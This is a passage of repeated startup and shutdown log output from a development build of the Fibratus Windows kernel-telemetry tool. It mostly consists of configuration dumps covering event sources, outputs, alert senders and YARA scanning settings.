source=bootstrap/bootstrap.go:184 +time=2025-11-03T21:45:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ content-type=>text/html to=>[] use-template=>true port=>25 enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-vamap=>true enable-net=>true stack-enrichment=>true enable-image=>true enable-dns=>false max-buffers=>36 enable-fileio=>true enable-registry=>true enable-handle=>false flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-mem=>false buffer-size=>512 enable-audit-api=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-backups=>15 formatter=>text max-size=>100 level=>info] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false timeout=>5s method=>POST enable-gzip=>false serializer=>json tls-insecure-skip-verify=>false endpoints=>[]] amqp=>[ delivery-mode=>transient routing-key=>fibratus vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 enabled=>false tls-insecure-skip-verify=>false passive=>false timeout=>5s exchange=>fibratus durable=>false] elasticsearch=>[ sniff=>false bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s enabled=>false flush-period=>1s template-name=>fibratus healthcheck-interval=>10s index-name=>fibratus healthcheck=>true trace-log=>false timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false fastscan=>true skip-registry=>false excluded-procs=>[] skip-mmaps=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-03T21:45:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T21:45:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T21:46:16+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T21:46:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T21:46:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T21:48:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T21:48:31+01:00 level=info msg=bootstrapping with pid 17788. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T21:48:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html use-template=>true enabled=>false to=>[]] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ max-buffers=>36 min-buffers=>16 enable-threadpool=>false flush-interval=>1s enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true enable-registry=>true enable-fileio=>true enable-handle=>false enable-mem=>false stack-enrichment=>true enable-dns=>false enable-net=>true enable-audit-api=>true buffer-size=>512 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 level=>info max-size=>100 formatter=>text max-backups=>15 log-stdout=>true] + output ......................... [ http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false method=>POST serializer=>json enabled=>false endpoints=>[]] amqp=>[ enabled=>false delivery-mode=>transient timeout=>5s url=>amqp://localhost:5672 durable=>false vhost=>/ passive=>false exchange-type=>topic routing-key=>fibratus exchange=>fibratus tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck=>true enabled=>false timeout=>5s healthcheck-timeout=>5s bulk-workers=>1 index-name=>fibratus healthcheck-interval=>10s gzip-compression=>false trace-log=>false flush-period=>1s sniff=>false template-name=>fibratus servers=>[http://127.0.0.1:9200]] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-mmaps=>false skip-allocs=>false skip-files=>false enabled=>false skip-registry=>false excluded-procs=>[] excluded-files=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-03T21:48:32+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T21:48:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T21:49:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T21:49:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T21:49:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T21:53:26+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T21:53:26+01:00 level=info msg=bootstrapping with pid 2020. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T21:53:26+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ use-template=>true port=>25 to=>[] content-type=>text/html enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-handle=>false min-buffers=>16 enable-threadpool=>false stack-enrichment=>true enable-vamap=>true enable-image=>true buffer-size=>512 enable-registry=>true enable-thread=>true flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-audit-api=>true enable-fileio=>true enable-net=>true max-buffers=>36 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 formatter=>text max-backups=>15 log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ index-name=>fibratus bulk-workers=>1 enabled=>false trace-log=>false timeout=>5s gzip-compression=>false sniff=>false healthcheck-timeout=>5s flush-period=>1s healthcheck=>true template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ timeout=>5s url=>amqp://localhost:5672 exchange-type=>topic passive=>false vhost=>/ durable=>false exchange=>fibratus delivery-mode=>transient enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus] http=>[ method=>POST enabled=>false timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false fastscan=>true skip-allocs=>false enabled=>false skip-registry=>false skip-mmaps=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-03T21:53:26+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T21:53:28+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T21:54:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T21:54:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T21:54:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:03:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:03:56+01:00 level=info msg=bootstrapping with pid 3460. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:03:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html to=>[] port=>25 use-template=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ flush-interval=>1s min-buffers=>16 enable-audit-api=>true stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-dns=>false enable-mem=>false enable-fileio=>true enable-vamap=>true enable-image=>true enable-handle=>false enable-net=>true buffer-size=>512 enable-threadpool=>false max-buffers=>36 enable-thread=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 level=>info max-size=>100 max-backups=>15 formatter=>text] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ gzip-compression=>false trace-log=>false template-name=>fibratus healthcheck=>true sniff=>false bulk-workers=>1 healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false index-name=>fibratus healthcheck-timeout=>5s timeout=>5s] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false passive=>false tls-insecure-skip-verify=>false routing-key=>fibratus timeout=>5s exchange-type=>topic vhost=>/ durable=>false exchange=>fibratus] http=>[ method=>POST serializer=>json endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enable-gzip=>false enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-registry=>false excluded-procs=>[] skip-mmaps=>false scan-timeout=>10s skip-allocs=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:03:57+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:03:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:04:25+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:04:25+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:04:26+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:07:30+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:07:30+01:00 level=info msg=bootstrapping with pid 12244. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:07:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ to=>[] enabled=>false use-template=>true port=>25 content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ flush-interval=>1s enable-handle=>false enable-mem=>false enable-vamap=>true enable-audit-api=>true enable-net=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-registry=>true min-buffers=>16 enable-threadpool=>false max-buffers=>36 enable-image=>true enable-fileio=>true buffer-size=>512 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 formatter=>text max-backups=>15 max-age=>0 log-stdout=>true level=>info] + output ......................... [ http=>[ enable-gzip=>false serializer=>json endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false method=>POST enabled=>false] amqp=>[ routing-key=>fibratus durable=>false tls-insecure-skip-verify=>false enabled=>false passive=>false timeout=>5s url=>amqp://localhost:5672 exchange=>fibratus vhost=>/ exchange-type=>topic delivery-mode=>transient] elasticsearch=>[ enabled=>false timeout=>5s flush-period=>1s gzip-compression=>false index-name=>fibratus healthcheck-timeout=>5s healthcheck=>true template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 servers=>[http://127.0.0.1:9200] trace-log=>false sniff=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false scan-timeout=>10s excluded-files=>[] excluded-procs=>[] enabled=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:07:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:07:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:15:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:15:28+01:00 level=info msg=bootstrapping with pid 8616. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:15:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 to=>[] use-template=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-fileio=>true enable-audit-api=>true buffer-size=>512 enable-image=>true enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-threadpool=>false max-buffers=>36 enable-mem=>false flush-interval=>1s enable-net=>true min-buffers=>16 stack-enrichment=>true enable-thread=>true enable-vamap=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info log-stdout=>true max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ http=>[ timeout=>5s enabled=>false enable-gzip=>false endpoints=>[] method=>POST serializer=>json tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck-interval=>10s trace-log=>false timeout=>5s bulk-workers=>1 enabled=>false healthcheck=>true healthcheck-timeout=>5s sniff=>false template-name=>fibratus index-name=>fibratus flush-period=>1s gzip-compression=>false servers=>[http://127.0.0.1:9200]] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ delivery-mode=>transient enabled=>false durable=>false exchange-type=>topic vhost=>/ timeout=>5s tls-insecure-skip-verify=>false passive=>false exchange=>fibratus routing-key=>fibratus url=>amqp://localhost:5672]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s enabled=>false excluded-files=>[] skip-mmaps=>false fastscan=>true skip-files=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:15:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:15:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:15:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:15:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:15:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:16:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:16:38+01:00 level=info msg=bootstrapping with pid 9248. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:16:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html use-template=>true to=>[] enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-image=>true flush-interval=>1s enable-mem=>false enable-vamap=>true enable-handle=>false buffer-size=>512 stack-enrichment=>true enable-threadpool=>false min-buffers=>16 enable-thread=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-net=>true enable-dns=>false enable-audit-api=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-age=>0 formatter=>text max-size=>100 level=>info] + output ......................... [ elasticsearch=>[ timeout=>5s template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 index-name=>fibratus healthcheck=>true enabled=>false gzip-compression=>false servers=>[http://127.0.0.1:9200] sniff=>false trace-log=>false healthcheck-timeout=>5s flush-period=>1s] amqp=>[ routing-key=>fibratus delivery-mode=>transient exchange=>fibratus exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ tls-insecure-skip-verify=>false enabled=>false durable=>false passive=>false timeout=>5s] http=>[ method=>POST enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json enabled=>false endpoints=>[] timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-files=>false enabled=>false excluded-procs=>[] excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-registry=>false skip-allocs=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:16:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:16:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:17:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:17:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:17:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:19:06+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:19:06+01:00 level=info msg=bootstrapping with pid 12880. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:19:06+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 to=>[] content-type=>text/html enabled=>false use-template=>true] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ enable-handle=>false stack-enrichment=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 flush-interval=>1s enable-registry=>true enable-net=>true enable-mem=>false enable-audit-api=>true enable-fileio=>true buffer-size=>512 enable-threadpool=>false enable-dns=>false enable-image=>true enable-vamap=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text max-size=>100 log-stdout=>true max-backups=>15] + output ......................... [ http=>[ timeout=>5s endpoints=>[] enabled=>false serializer=>json tls-insecure-skip-verify=>false method=>POST enable-gzip=>false] amqp=>[ exchange=>fibratus tls-insecure-skip-verify=>false delivery-mode=>transient vhost=>/ durable=>false enabled=>false url=>amqp://localhost:5672 exchange-type=>topic timeout=>5s routing-key=>fibratus passive=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ index-name=>fibratus bulk-workers=>1 flush-period=>1s healthcheck-timeout=>5s template-name=>fibratus healthcheck=>true enabled=>false timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] trace-log=>false sniff=>false gzip-compression=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-registry=>false skip-mmaps=>false skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true scan-timeout=>10s excluded-procs=>[] excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T22:19:06+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:19:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T22:19:22+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T22:19:22+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:19:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T22:24:58+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T22:24:58+01:00 level=info msg=bootstrapping with pid 1488. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T22:24:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false] eventlog=>[ verbose=>true 